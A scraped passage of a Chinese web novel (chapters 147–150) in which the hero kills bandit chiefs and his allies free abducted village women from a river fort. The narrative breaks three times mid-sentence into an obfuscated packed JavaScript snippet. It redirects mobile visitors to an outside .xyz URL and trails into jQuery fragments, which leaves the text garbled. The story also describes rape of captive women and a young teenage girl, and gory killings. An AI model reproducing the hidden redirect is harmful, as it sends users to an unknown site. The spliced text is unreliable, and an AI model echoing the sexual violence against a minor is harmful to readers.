“哈哈!像蛆虫一样的下等牲畜,还挺讲义气!”
“老爷请你们喝口热酒!”
水匪们哈哈大笑,玩心大起。
其中一名水匪率先起哄,解开裤腰带,就要往罗飞等人头上撒尿。
“住手!”
就在这时,只听嗖的一声风响,一块飞石从水上打来。
“啊哟!!”
水匪夹着腿翻滚在地,痛嚎不止。
裤裆瞬间被血迹染红。
第147章 卧虎村薛猛来也!
“卧虎村薛猛来也!”
“休要伤我弟兄!”
薛猛声音不大,但却气势非凡,回荡与江面之上,惊起一滩白鹭!
众水匪听到薛猛的声音,皆是一惊。
雷龙眯了眯眼,转头朝着先前飞石打来的方向看去。
只见一条渔船,缓缓自江面驶来。
夕阳下,船头立着两道人影。
其中一人身着玄袍,负手而立,生得是虎背狼腰,身形挺拔,五官硬朗,满面英雄之气。
另一人戴着斗笠,矮小精瘦,像只猴子,手里拿着竹篙,像是撑船的船夫。
“姓薛的!金子带来了吗?”
一群水匪凶神恶煞,手拿**铁叉,指着薛猛大喝道。
薛猛脚踩木箱,回道:“五百两金子,全在这儿,一分不少!”
水匪闻言,面面相觑,眼中贼光闪烁,脸上都露出坏笑。
原本已被打得遍体鳞伤,奄奄一息的罗飞,听见薛猛的声音,宛若打了鸡血,瞬间睁开了眼。
“薛大哥!”
罗飞不顾身上伤势,奋力扭动身子,使出全身最后的力气,冲着薛猛大喊!
“薛爷!!!”
队员们见薛猛来了,无不是激动得热泪盈眶。
仿佛连身上的伤,都感受不到疼痛了!
谁都没想到,薛猛竟然真的愿意花五百两金子,来赎他们!
这一刻,他们觉得就是为薛猛**,也值了!
“薛大哥,你快走!”
见到薛猛来救自己,罗飞固然感动,但一想到这帮水匪的阴谋,罗飞连忙冲着薛猛大喊:“不要上岛!”
“就算你给了金子,这些水匪也不会放过我们的!”
罗飞话还没说完,就被身后一名水匪踹翻在地。
眼看又要挨一顿毒打,却听薛猛怒声大喝道:“休要伤我弟兄!如若不然,我就把金子全都倒进江里!”
雷龙闻言,快步走出凉亭,抬手示意手下水匪住手。
随即立于岸边,故作客气,笑着冲薛猛拱手:“薛掌柜,久仰大名!你在白虎乡地界,可是出了名的大人物!今日可算见到**了,果然雄姿英发,气宇不凡!”
“老夫已经备好酒菜,请你到亭中,小酌几杯!”
“雷寨主,客气了!”
薛猛皮笑肉不笑,淡声回道。
不多时,渔船靠岸。
看着薛猛上岸,被水匪搜身。
罗飞咬了咬牙,无奈苦叹,心中焦灼。
这可如何是好?
薛大哥只身前来,又不准带武器上岸,岂不是羊入虎口?
秦义本来也想跟着上岸,却被雷鹏伸手拦住:“帖子上只请了薛公子一人,你不能上来!”
“你……”
秦义一咬牙,斗笠下半掩的斗鸡眼里泛起凶光,便要扯下斗笠,大打出手!
“秦义!你就待在船上!”
薛猛回头一个眼神,阻止了秦义。
“那,行吧!”
薛猛发话,秦义不得不从。
强压下心头火气,褪下裤子,悻悻然在船头蹲下。
只听咚的一声。
一坨黄色条状物,从秦义体内挤出,掉落水中。
“你这厮,怎地随地拉屎!!”
雷鹏捏着鼻子,满脸恶心之色。
“还不是你们不让我上岸,把我气出屎来了!”
秦义满脸狰狞,又拉了一坨大的。
把原本想要监视他的水匪,全都熏跑了。
“走吧走吧!别理他了!”
“看他瘦得跟个猴子一样,应该也不是什么厉害角色,不需要提防!”
“这小子拉屎真臭啊!把我眼泪都熏出来了!”
“别说了,我快吐了!”
……
“来来来,薛掌柜,坐!”
“没什么菜,随便喝点儿!”
雷龙带着薛猛,进了风波亭,指了指对面的石凳。
薛猛瞥了眼石桌上的酒菜,并没有落座:“雷寨主,这酒就不必喝了吧。”
“五百两金子,我已经带来了!”
“请你马上放人吧!”
雷龙大手一挥,满不在乎:“薛掌柜,五百两金子算个屁啊!就是你不带金子来,我也会放人的!”
“老夫今天特地请你来,是诚心想交你这个朋友啊!”
薛猛暗自咬牙,自然是听出了对方的言外之意。
五百两金子,还不够!
这家伙是想找长期饭票!
薛猛揣着明白装糊涂,双手拢在袖中踱步道:“雷寨主,我这人脑瓜子笨,没听太明白你这话是什么意思啊!”
雷龙耸肩哼笑道:“薛掌柜家大业大,日进斗金,怎么会是笨人呢?”
“老夫也不跟你弯弯绕,直说了吧!临水村任家,青牛村刘家,朱雀村朱家,黄泥村黄家,全都答应跟老夫做朋友!”
“现在就剩下你们卧虎村薛家还没表态了!”
薛猛面上不露声色,心中却是愤然冷嗤!
任家、刘家、朱家、黄家,都是白虎乡其他几个村子的地主大户。
先前巡猎队到这几个村子招人,就是他们从中作梗,横加阻挠!
现如今,这些家伙迫于水匪**,为了保全自己的利益,竟然不惜认贼作父,和这帮水匪沆瀣一气,狼狈为奸!
受苦的,却是附近几个村子的村民!
“雷寨主!我还是不太明白,不知这个朋友,是怎么个做法?”
薛猛强压心头怒火,故作感兴趣地问道。
雷龙见薛猛来了兴趣,心中冷笑!
什么神箭英雄,玉面菩萨,不过是虚有其名罢了!
还不是和任家、刘家、黄家那几个软蛋家主一样!
乖乖任由我拿捏?
“朋友嘛,就该互惠互利!”
“任家、刘家、黄家、朱家,每个月送我三百两白银、十名美女,老夫答应,保他们水上航行畅通无阻,还可以让他们下水打渔!”
好家伙!
又是送金银,又是送美女的,真把水匪当爹伺候了!
薛猛虎目微眯,眼中杀意一闪而逝,嘴里却是故
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313111|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
作平淡:“哦,区区三百两白银,倒是不多!”
“呵呵!”
“三百两白银,那是对任家、刘家这样的小门小户而言!”
雷龙阴恻恻一笑,狮子大开口道:“老夫知道,薛掌柜的生意做得很大,不缺钱!任家、刘家这种小户,哪里配跟你薛家这样的大宅门比?”
“老夫也不多要,薛掌柜若有心跟老夫做朋友,每月只需送老夫一百两黄金,二十名美女!”
“渔获,分我一半!”
“此外,每次出外卖货所得,也要分我一半!”
“老夫就这么点要求,想来薛掌柜深明大义,是不会拒绝的吧?”
雷龙的脸,在薛猛视线中逐渐模糊,他到底在叽里咕噜说些什么,薛猛早就听不进去了。
目光越过雷龙肩头,眺望雷龙身后二百米外的青龙峡水寨。
远远望去,可以看见整座水寨仿佛与囚龙岛的礁石融为一体,环绕着三重防御屏障。
最外层是停泊在河湾中的上百只战船,组成的船阵。
船身两侧都装有铁皮护甲,若有外敌入侵,船上的弓手、长矛手,就会立即开船发起反击。
第二层防御,则是环绕整个水寨的巨型木栅栏,木栅高达三米,其上布满铁刺。
若是有人侥幸攻了上来,也难以逾越这道木栅栏。
木栅四角,设置有东、西、南、北四个寨门,寨门处的土堡内,驻扎着大量水匪,一旦有敌情,他们便会发起猛烈反击。
并且每个寨门之后,还矗立着一座丈二高的箭楼,箭楼墙面箭孔密布,暗藏杀机。
一波漫天箭雨撒下,便可轻易收割企图攻入水寨的敌人!
木栅的阴影、土堡的肃穆、箭楼的冷光,共同交织成一道不可逾越的屏障。
足以让每一个试图靠近的敌人都望而生畏!
不得不承认,这帮水匪还真有点东西!
整座青龙峡水寨,地势险要,布置严密,易守难攻!
难怪可以横行青龙峡水域这么多年,却让官军不敢侧目!
也不知道寇芳他们,有没有成功潜入进去,救出人质?
雷龙见薛猛皱眉望着自己的水寨,得意一笑:“薛掌柜,你也看到了,我青龙峡水寨,何其雄壮!”
“官军几度征剿,到头来全都铩羽而归!”
“每月百两黄金、二十名美女,跟我合作,买个平安,不吃亏的!”
砰!
雷龙话音刚落,囚龙岛北面忽然传来一声巨响。
薛猛抬头望去,虎目闪烁,心中大喜!
只见一道紫色焰光,冲天而起,在天空中绽放出耀眼的火花。
哈哈!
穿云箭响了,说明寇芳他们得手了!
雷龙一惊:“怎么回事?”
人质已经救出,薛猛也懒得再和雷龙虚与委蛇下去。
直接反客为主,扭头冲着雷龙戏谑冷笑起来。
“雷龙!”
“你知道,你为什么一直抓不到,杀死你儿子雷蛟的刺客吗?”
第148章 炮轰水寨
“嗯?!”
“你什么意思?”
见薛猛满脸冷笑,气场全开,雷龙不免有些错愕,总感觉薛猛仿佛一只披着羊皮的老虎。
惊疑道:“难道说,那刺客在你手上?”
薛猛拿捏着一个酒杯,玩味一笑:“不止在我手上,我还替她疗了伤!”
“现在她是活蹦乱跳,憋着一股气,要找你们报仇呢!”
“你说什么!她还活着?”
雷龙原本以为夜含香中了冷姑的蝎尾镖,早就已经**,所以自己的人才打捞不到!
这么久过去了,找不到夜含香尸体,他也只能作罢。
但没想到,这人竟然被薛猛给救了!
“姓薛的!你到底什么意思,你难道不想跟老夫做朋友了?”
“撒泡尿照照镜子吧!跟我薛猛做朋友,你也配?”
薛猛眼中的不屑,轻蔑的反讽,彻底激怒了雷龙!
“岂有此理!”
“我看你是找死!”
雷龙勃然大怒,双目圆瞪,一把掀了石桌,抽出桌底暗藏的鲨齿棒,径直朝着薛猛头顶砸去!
刷!
鲨齿棒上,布满形似鲨鱼牙齿的铁刺,一旦被其砸中,必然皮开肉绽,脑浆迸裂!
然而薛猛虎目精芒闪烁,眼中没有丝毫恐惧,反而只有对敌人的轻蔑。
砰!
只见薛猛身形一闪,雷龙一棒落空,非但没能伤到薛猛分毫,反而砸在了薛猛身后的木柱上。
咔嚓一声脆响,木柱断裂,风波亭亭盖倾斜,摇摇欲坠。
耳畔疾风呼啸,雷龙惊疑回头,只见薛猛的拳头已经朝他脸上打来。
“噗!”
薛猛这一拳力道惊人,角度刁钻,径直打在了雷龙的下巴上。
人的下颌骨与颅骨紧密相连。
下巴受到重击,力量会直接震动颅骨,刺激脑干!
雷龙顿觉脑子嗡嗡响,眼冒金星,连站都站不稳了。
薛猛没有给他任何喘息的机会,直接就是一个八极顶心肘,把雷龙直接撞飞出去。
砰的一声,雷龙后背重重撞在一根木柱上,滑坐在地,嘴里大口呛出淤血,身上白衣都被染红了。
轰!
就在雷龙想要抓起掉落在地的鲨齿棒,撑起身子,向薛猛还击之时,头顶轰然响起一阵骇人的呼啸之声。
雷龙一惊,循声抬头望去,只见一个巨大火球,从头顶掠过风波亭,径直砸向二百米外的水寨寨门!
砰!!!
火球犹如天降陨石一般,势不可挡!
砸在水寨正门高大木栅上的刹那,轰然炸开,直接将坚不可摧的寨门炸得粉碎!
一股暗红色火焰瞬间腾起两丈多高,断裂的木头与碎石如暴雨般飞溅!
守寨的水匪还未从巨响中回过神,第二颗火球已然接踵而至!
空隆!!!
这一枚火球直接砸在了水寨箭楼上!
箭楼上的水匪还没反应过来怎么回事,就连同倒塌的箭楼一同葬身火海,连惨叫声都来不及发出!
紧接着,在雷龙惊恐圆瞪的目光中,第三颗、第四颗火球接连抛射而出!
砰砰砰!!
**声惊天动地。
在火球的巨大威力下,青龙峡水寨的防御土堡宛若纸糊一般,接连倒塌摧毁。
驻守其中的水匪,连同着这些分崩离析的建筑碎渣,一同坠入冰冷江水!
激起的水花混着木屑与残肢,江面上晕染开的血水,在夕阳下泛起格外醒目的鲜红!
不少水匪尖叫着从箭楼的箭孔中坠落,尚未触水便被后续**掀起的气浪掀飞。
原本环绕水寨,让官军望而却步的高大木栅,早已被火焰吞噬!
灼热的火焰,将水寨中的房屋点燃,整座水寨顷刻沦为了一片火海。
聚义厅前,象征水寨威严的“雷”字大旗,也在滚滚浓烟中折断倒下!
“不……不!!!”
看着自己苦心经营半生的基业,就在自己眼皮子底下,一寸寸崩毁覆灭!
雷龙心如刀绞,目赤欲裂,状若癫狂,早已顾不上薛猛,拖着受伤的躯体,一度想要冲进水中,游向自己的水寨!
雷鹏连忙冲了过来,拉住雷龙:“义父,你冷静一点!”
“我怎么冷静?!我的基业,全没了!啊啊……”
雷龙跪在地上,抓起地上的泥沙使劲往自己脸上拍打,嚎啕大哭,彻底崩溃了!
“姑爷爷,接刀!”
忽听一声大喝响起,秦义从船上抛出一把刀。
薛猛伸手接住从半空中落下的警恶刀,拔刀出鞘,径直朝着雷龙脖颈削去!
雷龙一怔,来不及反抗,只觉眼前白光一闪,视线翻滚。
在彻底丧失意识的前一刻,他看见了不远处,自己的无头尸体轰然倒下,血浆飞迸,足有三米高。
见自己义父人头落地,雷鹏大惊失色,指着薛猛,高声喝道:“来人!!给我拿下这厮!”
然而回应他的,只有轻拂而过的江风,以及薛猛的戏谑冷笑。
薛猛指了指雷鹏身后,挑眉道:“你自己看看,你们还有人吗?”
雷鹏一怔,内心升起一股不祥的预感,僵硬扭头一看,顿时瞳孔一缩,惊得肝胆欲裂!
只见风波亭外,十几个手下,全都以各种古怪的姿势,蜷缩在地,七窍流血。
而那个像猴子一样毫不起眼的“船夫”,此时已经扯下了斗笠,满脸狞笑,双手沾满鲜血。
“啊……”
唯一一个还活着的水匪,想要起身逃跑,却被那家伙一把抓住,硬生生拧断脖子,双手高举过顶,一把丢进江中!
“嘶!”
雷鹏倒吸一口凉气。
他现在总算明白,薛猛为什么如此大胆,只带一个船夫来赴会了!
原来薛猛早就布好了局!
“薛猛!坊间传言不虚,你果然了不得!”
“想来那天上的紫色火光和巨型火球,也都是你的手笔吧?”
“你独自来赴会,就是为了让我们放松警惕,好攻打我们的水寨,对吧?”
水寨大
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313112|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
势已去,雷鹏反倒不害怕了。
反正都是死!
他想死个明白!
然而薛猛压根没有回答雷鹏的问题,兀自在石凳上缓缓坐下。
看着满地撒落的酒菜,心疼不已:“大灾之年,居然这么糟蹋粮食,你们可真该死啊!”
“你过来,把地上的饭菜吃了!”
薛猛指了指雷鹏,命令道。
“吃得干净,我可以考虑饶你一命!”
若是寻常匪寇,有活命的机会,早就摇尾乞怜了。
然而雷鹏却是个罕见的硬骨头,冷声道:“不用饶我!义父待我恩重如山,他**,水寨也没了,我活着也没什么鸟兴!”
“临死之前,我只想告诉你一件事!”
“你一向自诩仁义,可我水寨里还关押着不少附近村子的村民,你那大火球砸过去,岂不是但置他们于死地?”
“看来,你也不过是假仁假义!”
雷鹏此言一出,脸上露出一丝解恨的笑意,自以为薛猛会因村民的死而内疚。
“哦?是吗?”
然而薛猛却是玩味一笑:“那我如果告诉你,我早就让人,提前潜入你们水寨,把村民救出来了呢?”
“不可能!绝对不可能!”
雷鹏对水寨的防卫十分自信,当即矢口否认:“我们水寨地势险要,防卫严密,除非你的人是幽灵鬼魅,否则绝对不可能提前潜入其中!”
“嘿!那你说对了!”
薛猛得意大笑:“老子的人,就是幽灵鬼魅!”
雷鹏皱了皱眉,见薛猛如此笃定,一时分不清薛猛的话,是真还是假。
“恩公!”
就在这时,寇芳的声音突兀响起,不远处的江面上,出现了几只渔船!
“薛爷,幸不辱命,人质都救出来了!”
“而且,咱们还发现了水匪的宝藏!”
张水的声音也随之响起。
薛猛循声看去,只见张水和水鬼队的人,撑着船朝这边靠了过来。
而船上载着的人,除了山猫子、寇芳、夜含香之外,还有不少蓬头垢面,衣服破烂的大姑娘小媳妇儿,以及好几口大箱子,应该就是所谓的水匪宝藏。
雷鹏循声扭头看去,当他看清那些小媳妇儿的脸,顿时双目失神,扑通一声,脱力般跪在了薛猛面前!
因为这些人,赫然就是被关押在水寨土牢里的村民!
薛猛的人,竟然真的提前把她们救出来了!
“不可能……这绝对不可能!”
“你们怎么可能潜入水寨,不被发现……”
“难道你们真是幽灵鬼魅不成?”
“寇芳,你告诉他,你们是怎么做到的!”
见雷鹏满脸难以置信。
薛猛决定让他死个明白,同时他自己也想听听,寇芳他们是怎么潜入水寨的,又是怎么发现水匪的宝藏的!
寇芳点点头,向薛猛交代起救人取宝的过程。
薛猛听罢,感慨万千,寇芳她们这一趟,可比自己到风波亭会见雷龙,惊险多了!
第149章 水匪恶行
时间回到两个时辰前。
薛猛还没到风波亭之时,囚龙岛北面的悬崖下,已经有三道黑影悄无声息浮出水面。
领头的寇芳,抬头望着面前高达数丈,近乎垂直的陡崖,对身边二人说道:“此处是囚龙岛地形最险峻之处,但同时也是水匪防备最为薄弱的地方……”
“咱们要想潜入水寨,就只能从这里上去!”
山猫子抹了把脸上的水,冲着陡崖呲牙道:“我滴个乖乖!这难度可不小哇!”
高达数丈的崖壁,已经**水冲刷得光滑如镜,几乎没有可以借力的地方。
也难怪水匪疏于防备。
这陡崖,放眼全天下,也没几个人能上去!
“大虞皇宫的宫墙能挡不住我,这算什么!”
夜含香却是面露不屑,冲山猫子挑眉道:“山猫子,听说你擅长跑跳,一跃半丈高,要不咱俩比比谁更快登上崖顶?”
山猫子咧嘴笑道:“乐意奉陪!”
寇芳轻笑道:“也算我一个!!”
三个人脸上笑嘻嘻,心中却是谁也不服谁!
一个是大虞盗门门主之女,一个是钻林子的绿林老手,一个是穿墙过户的飞贼名盗!
任何一个都是各自领域的翘楚。
“谁?!”
就在这时,头顶突然响起一声呵斥。
若是寻常之人,早就被发现了,然而三人反应极其敏锐,在听到崖顶之上传来脚步声后,便提前潜入水中。
过了一会儿,又听崖顶上响起另一个声音:“哎呀!老五,你别总疑神疑鬼的,这鬼地方,哪里会有人来啊?”
“可我刚才,好像听见有人说话!”
“我看你小子是五指姑娘玩多了,肾虚耳鸣了!哪有说话声,我咋就没听见?走吧走吧,去东寨看看新来的小娘们儿!”
“什么小娘们儿?”
“说是临水村新送来的,最小的才十三四岁,嫩得很呐!快走吧!去晚了,可就轮不得到咱们了!”
“那倒是!上次青牛村送来那几个小娘们儿,就被刘四儿那帮牲口,活生生弄**,搞得我们连顿热乎饺子都没吃上……”
两名水匪提到小娘们儿,脸上都洋溢起荫荡的笑容,转身就走。
刚走出几步,就被身后伸出的玉手捂住嘴巴,用刀抵住了脖子
“说!被你们绑来的村民,现在关押在何处?”
“若有半句虚言,定叫你们人头落地!”
话落,其中一名水匪直接就被抹了脖子。
剩下一名水匪看着死去的同伴,吓得水裆尿裤,瑟瑟发抖,不敢耍花招,老实交代了村民的下落。
“她们被关在东寨!”
就在他交代完的瞬间,只见刀光一闪,脖子上也是浮现出一道血痕。
两名水匪倒地的瞬间,身后显现出寇芳和夜含香的身影。
“山猫子,你慢了我们一步,接下来就看你的了!”
“行吧,你俩可真够快的!”
看着寇芳和夜含香的背影,山猫子只能甘拜下风。
没比之前不知道,一比才知道差距!
夜含香和寇芳,都经受过盗门专业训练,飞檐走壁全是技巧,而山猫子是野路子出身,纯靠天赋,哪怕他手脚并用,还是慢了一截!
“先前说好的,谁最后上来,谁扮水匪!我愿赌服输!”
山猫子说着,上前扒下水匪的衣服,套在自己身上。
又从衣服里摸出腰牌,扮做水匪模样,径直朝着东寨走去。
来到东寨寨门入口,遇到水匪盘查,山猫子本就精通匪帮黑话,轻松应付,又出示了腰牌,成功混了进去。
“啊啊啊!”
“哈哈!小娘们儿可真够润的!叫吧,你越叫爷爷越兴奋!!”
刚进东寨不久,就听见前方土堡里,传来阵阵少女凄厉惨叫和男人的狞笑,听得人头皮发麻,揪心揪肺。
不用想,也知道是水匪在糟蹋小姑娘!
土堡门外,还有十多个水匪在排队,一个个有说有笑,嘴里净是如何糟蹋女人的污言秽语,宛若色中饿鬼。
“这帮牲口!”
山猫子强忍心中怒火,举步走了过去,顿时吸引了几名水匪的目光。
见他面生,水匪冲他调笑道:“哟,看模样,哥们儿是新来的吧?”
“新来的,还想吃热乎饺子?”
“省省吧!我们这些老人儿还吃不上呢!天都快黑了!来了也轮不到你!”
“就是!三个头领正在里面玩得不亦乐乎,还不知道啥时候结束呢!”
山猫子不语,只能暗自扣紧衣袖中暗藏的袖箭**。
铛!铛!铛!
就在这时,不远处忽然有人敲打铜锣,并扯着嗓子大喊道:“粮仓走水了,快来救火!”
“啥?粮仓走水?!”
众水匪闻言大惊,也顾不上再排队了,连忙朝着粮仓方向跑去。
粮仓是水寨的命根子,要是粮食被烧了,他们的脑袋可就不保了!
山猫子冷冷一笑,知道是寇芳和夜含香放的火,调虎离山,掩护他救人!
“时间紧迫,我得抓紧行动了!
砰!
山猫子来到土堡前,一脚踹开土堡木门。
映入眼帘
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320066|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的是一幕不堪入目的画面。
只见三名光着身子,体态丑陋的水匪头领,将一个可怜的少女压在身下的冰冷土炕上。
少女痛嚎不止的惨叫声,听得山猫子肝胆欲裂,头皮发麻,一股热血直冲颅顶,胸中怒火中烧!
“嗯?你小子谁啊?懂不懂规矩!老子们还没完事儿了,你进来干啥?”
“滚出去!”
被突然打断的三名水匪头领,脸色黑沉,三道狼一样凶狠的目光,齐刷刷扫向门口的山猫子。
“你耳朵聋了?老子让你滚出去!——呃啊!!”
话刚出口,三人中叫得最大声的一个,就被山猫子一箭封喉,血溅当场,翻滚到了地上,顷刻横死!
“啊?!”
其余两名水匪头领见状,满脸惊恐,意识到山猫子并不是他们手下的喽啰,纷纷举起了手:“好汉饶命!有话好好说……”
说这话的同时,水匪的目光瞅向墙上挂着的**,眼中凶光乍露,分明是伸手想要取刀。
但山猫子根本没有给他们反击的机会,他的袖箭经过薛猛改造,可以连发数支短箭。
并且箭头上淬了草乌剧毒,见血封喉,一击毙命!
咔咔!
山猫子双眸如灵猫成精,幽芒闪烁,迅速扣动**。
两道寒芒如电射出,直接结果了两名水匪卑劣的狗命!
“……”
土炕之上受尽折磨的少女,眼睁睁看着欺辱自己的三头禽兽,接连殒命当场,满脸惊恐和难以置信。
山猫子连忙捡起丢在地上的衣服,替少女盖住裸露在外的身子,随即说明来意:“丫头,别害怕!我是卧虎村薛大掌柜派来救你们的!”
“怎么这里就你一个人,还有其他人吗?”
少女愣了愣,回过神来后连连点头:“有!我娘,还有好多婶子、姐姐,全都被关在土牢里!”
“快带我去!”
在少女的带领下,山猫子很快来到了关押众人的土牢。
寇芳和夜含香四处放火,把大部分水匪都引走了,看守土牢的只有两名水匪。
山猫子直接放箭解决了看守土牢的两名水匪,并从他们身上摸出钥匙,打开了牢门。
刚一进到土牢,山猫子就被迎面扑来的一股恶臭,呛得直皱眉头。
土牢内部光线昏暗,地面潮湿,环境比猪圈还要恶劣。
许多妇人蓬头垢面,精神恍惚。
墙角还倒着几个,光着身子,身上全是鞭痕淤青,已经没了呼吸。
山猫子不敢想象,在他没来之前,她们遭受了怎样的折磨!
第150章 白尾雕的复仇
“娘,娘!”
跟着山猫子进来的少女,扑倒在一名中年妇人身前,悲痛欲绝,嚎啕大哭起来。
山猫子心弦一紧,连忙捂住少女的嘴,示意她千万别高声!
随后伸手探了探中年妇人鼻息,手一抖,含泪摇头道:“丫头,你娘已经没气了,节哀顺变吧!”
少女悲痛欲绝,想要哭出声,又怕引来水匪,泪水只能顺着脸颊无声淌流。
山猫子环顾了一圈还活着的人,迅速镇静了下来,说道:“让死者去安葬死者吧,当务之急,是先把还活着的人带出去!”
“你是来救我们出去的?”
听到山猫子的话,原本神情恍惚的妇人们,纷纷扬起了头,空洞无神的眼眸中升起了些许曙光。
“对!我是卧虎村薛大掌柜派来救你们的!乡亲们,你们受苦了!”
“水匪已经被我的同伴引开!事不宜迟,大家快跟我走!我带你们回家!”
“回家?真的可以回家吗?”
妇人们原本以为,自己这辈子都没办法离开这个人间炼狱了。
现在山猫子的到来,却重新点燃了大家心中生存的希望!
“我不走!我不走!”
妇人们强撑起身子,正准备跟着山猫子离开,却见一个披头散发,约莫十七八岁的小媳妇儿,缩在墙角,抗拒摇头:“我哪儿也不去!!”
山猫子扭头看去,只见她捧着微微隆起的小腹,双目凹陷笼罩在阴影中,嘴唇已经被水匪咬烂,结满了血痂:“我怀上了禽兽的孩子,没脸回去见人了!”
“就算回去,也会被我家男人打死!”
小媳妇儿这番话,像一根针一样,深深刺入了大家的心里。
妇人们全都停下了脚步,纷纷回想起自己被水匪糟蹋的不堪经历,脸上都出现了绝望和惶恐之色。
“周家媳妇儿说得对!”
“咱们的身子都被那帮牲口糟蹋了!”
“就算回去,家里的爹娘,丈夫,儿女,又该怎么看待咱们?”
“更别提还没出嫁的小姑娘了,被水匪糟蹋过,以后嫁都嫁不出去!咱们,已经回不去了!”
先前跟着山猫子进来的少女,听到这话,也是满脸绝望。
山猫子见势不对,咬牙道:“胡说啥呢!活着才是最重要的!你们的男人要是不要你们,就来咱们卧虎村!”
“咱卧虎村,不讲究这些,只讲谁干活勤快!”
“快走吧!不然水匪回来了,咱们全都得死!”
山猫子说完,直接上前把“蛊惑人心”的周家小媳妇儿一巴掌打晕,扛在肩上,朝着土牢外快步走去。
望着山猫子离去的背影,妇人们面面相觑,万分纠结。
“顾大婶,以往在村子里你最有主意,你拿个主意吧!咱们到底走还是不走?”
所有人都看向了年纪最大的一个婶子。
顾大婶咂摸着山猫子刚才说的话,一咬牙,对其他人说道:“刚才那小兄弟说得对!好死不如赖活着!”
“实在不行,咱们就去卧虎村!”
“听说卧虎村的薛公子最是仁善,应该不会嫌弃咱们的!”
妇人们点点头,终于下定决心,紧跟在顾大婶后面离开了土牢……
……
“事情经过大概就是这样!”
小岛上,寇芳向薛猛等人,讲述着整个救援行动的经过:“为了掩护山猫子行动,我和夜小姐分别在水寨粮仓、箭楼等多处重要设施放火,以此引开水匪!”
“在这个过程中,我们意外发现了水匪存放的财宝,我们想着,这些都是水匪收刮来的不义之财,不取白不取!”
“所以在与前来接应的水鬼队汇合后,大家便偷偷把这些财宝运了出来!”
张水接茬道:“我们在悬崖边上挖了个斜坡,这样人质和财宝,都可以顺着斜坡滑进江里!”
“到了水里,就是咱们水鬼队的天下了!”
“整个过程,虽然惊险,但好在大家齐心协力,配合默契,圆满完成了薛爷交代的任务,也算是幸不辱命!”
听完寇芳等人的讲述。
雷鹏目光一一扫过山猫子、寇芳、夜含香、张水等人,算是彻底服气了。
这些家伙,一个个都不是等闲之辈!
胆大包天,身怀绝技!
但随即,雷鹏又感到费解:“我不明白!你们这些身怀绝技的江湖中人,本该跟我们是一路人,却为何会甘愿效命于薛猛?”
“他到底给你们灌了什么**药,让你们甘愿冒这么大的风险,潜入我水寨,救一帮和他们非亲非故的村民?”
“谁跟你是一路人!老子可从来没有糟蹋过小姑娘!”
山猫子上去就是一巴掌,啪一下,抽得雷鹏嘴角淌血。
“薛爷行事,顺人心,应天道!跟着薛爷,前途无量!”
“而你们,作恶多端,逆反天道,现在就是你们的报应到了!”
“薛爷,就是上天派来,收拾你们这帮混账的!”
山猫子这一巴掌,彻底把雷鹏打醒了。
哪怕薛猛是他的死敌,也不得不对薛猛心服口服。
能够让一个曾经当过土匪的人,对他如此死心塌地!
薛猛这样的人,或许就是这黑暗世道里难得的一束光吧!
“薛猛,你确实不是一般人!”
“我青龙峡水寨,栽在你手里,也不算冤枉!”
“我真希望,能够早点遇到你!”
“我从小无父无母,是我义父抚养了我!他从小就培养我,如何成为一个水匪……这些年,不管是愿意还是不愿意,我都做了许多恶事!”
“如果我能够早点遇到你,或许我的人生会是另外的景象!”
“当然,我知道,人生没有回头路!”
“来吧,用你手里的刀,送我一程吧!”
雷鹏闭上双眼,引颈受戮,放弃了一切反抗和挣扎,反而觉得死在薛猛刀下,是一种荣耀和解脱。
薛猛缓缓举起手中警恶刀,这个雷鹏,虽然不是什么好东西,但倒也是个硬骨头:“好,我给你个痛快!”
话落。
刀光倾泄。
血雨飞溅。
人头滚地。
至此,青龙峡水寨大当家及其唯一的**人,全部授首!
“好哇……”
趴在地上,奄奄一息的罗飞等人,眼中流下了激动的泪水!
原本还担心薛猛只身赴会,羊入虎口。
没想到薛猛是扮猪吃老虎,不仅把雷龙、雷鹏全给宰了,还把青龙峡水寨一窝端了!
“此间事了,咱们撤!”
薛猛甩臂收刀,大手一挥,率领众人,把罗飞等人抬上了船,迅速撤离风波亭。
八艘渔船组成船队,迎着夕阳余晖,泛舟江上,满载而归。
不仅是薛猛带来的五百两金子,原封不动带回去!
船上还载着七八
